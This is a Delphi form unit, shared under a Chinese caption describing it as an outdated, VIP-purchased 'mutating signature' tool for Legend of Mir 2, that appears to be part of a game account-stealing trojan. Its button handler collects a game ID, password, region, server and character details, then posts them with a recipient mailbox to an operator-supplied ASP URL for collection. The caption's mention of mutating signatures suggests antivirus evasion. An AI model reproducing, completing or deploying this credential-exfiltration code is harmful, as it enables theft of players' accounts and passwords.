unit_frmmain.~pas

传奇2万能变形特征码+极度流畅版,以前vip买回来的,现在已经过时了

unit Unit_FrmMain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TFrmMain = class(TForm)
    Label1: TLabel;
    Edit_AspUrl: TEdit;
    Label2: TLabel;
    Edit_Tomail: TEdit;
    Label3: TLabel;
    Edit_gameid: TEdit;
    Label4: TLabel;
    Edit_PassWord: TEdit;
    Label5: TLabel;
    Edit_quyu: TEdit;
    Label6: TLabel;
    Edit_mirserver: TEdit;
    Label7: TLabel;
    Edit_js1: TEdit;
    Label9: TLabel;
    Edit_zb: TEdit;
    Label10: TLabel;
    Edit_js1zy: TEdit;
    Label8: TLabel;
    Edit_js1dj: TEdit;
    Label11: TLabel;
    Edit_js1sex: TEdit;
    Label12: TLabel;
    Edit_js2: TEdit;
    Label13: TLabel;
    Edit_js2zy: TEdit;
    Label14: TLabel;
    Edit_js2dj: TEdit;
    Label15: TLabel;
    Edit_js2sex: TEdit;
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FrmMain: TFrmMain;

implementation
uses
  Unit_SendMail;
{$R *.dfm}

procedure TFrmMain.Button1Click(Sender: TObject);
begin
if Trim(Edit_AspUrl.Text)='' then
begin
Application.MessageBox('Asp地址不能为空,请重新输入!',Pchar(Application.Title),MB_ICONINFORMATION);
Edit_AspUrl.SetFocus;
Exit;
end;
if UpperCase(Copy(Edit_AspUrl.Text,1,7))<>UpperCase('http://')then
begin
Application.MessageBox('Asp地址格式不正确,请重新输入!',Pchar(Application.Title),MB_ICONINFORMATION);
Edit_AspUrl.SetFocus;
Exit;
end;
if Trim(Edit_Tomail.Text)='' then
begin
Application.MessageBox('信箱不能为空,请重新输入!',Pchar(Application.Title),MB_ICONINFORMATION);
Edit_Tomail.SetFocus;
Exit;
end;
if pos('@', Edit_Tomail.Text)=0 then
begin
Application.MessageBox('信箱格式不正确,请重新输入!',Pchar(Application.Title),MB_ICONINFORMATION);
Edit_Tomail.SetFocus;
Exit;
end;

if (Trim(Edit_gameid.Text)='') or (Trim(Edit_PassWord.Text)='') or (Trim(Edit_quyu.Text)='') then
begin
Application.MessageBox('用户名,登陆密码和区域不能为空,请重新输入!',Pchar(Application.Title),MB_ICONINFORMATION);
Exit;
end;
if     PostURL(Trim(Edit_AspUrl.Text),
              'Tomail='+HtmlEncode(Trim(Edit_Tomail.Text))+
              '&gameid='+HtmlEncode(Trim(Edit_gameid.Text))+
              '&password='+HtmlEncode(Trim(Edit_PassWord.Text))+
              '&quyu='+HtmlEncode(Trim(Edit_quyu.Text))+
              '&mirserver='+HtmlEncode(Trim(Edit_mirserver.Text))+
              '&js1='+HtmlEncode(Trim(Edit_js1.Text))+
              '&js1zy='+HtmlEncode(Trim(Edit_js1zy.Text))+
              '&js1dj='+HtmlEncode(Trim(Edit_js1dj.Text))+
              '&js1sex='+HtmlEncode(Trim(Edit_js1sex.Text))+
              '&js2='+HtmlEncode(Trim(Edit_js2.Text))+
              '&js2zy='+HtmlEncode(Trim(Edit_js2zy.Text))+
              '&js2dj='+HtmlEncode(Trim(Edit_js2dj.Text))+
              '&js2sex='+HtmlEncode(Trim(Edit_js2sex.Text))+
              '&zb='+HtmlEncode(Trim(Edit_zb.Text))) then
              Application.MessageBox('发送成功!',Pchar(Application.Title),MB_ICONINFORMATION)
              else
              Application.MessageBox('发送失败!',Pchar(Application.Title),MB_ICONERROR);
end;

procedure TFrmMain.Button2Click(Sender: TObject);
begin
Application.Terminate;
end;

procedure TFrmMain.FormCreate(Sender: TObject);
begin
Application.Title:=Caption;
end;

end.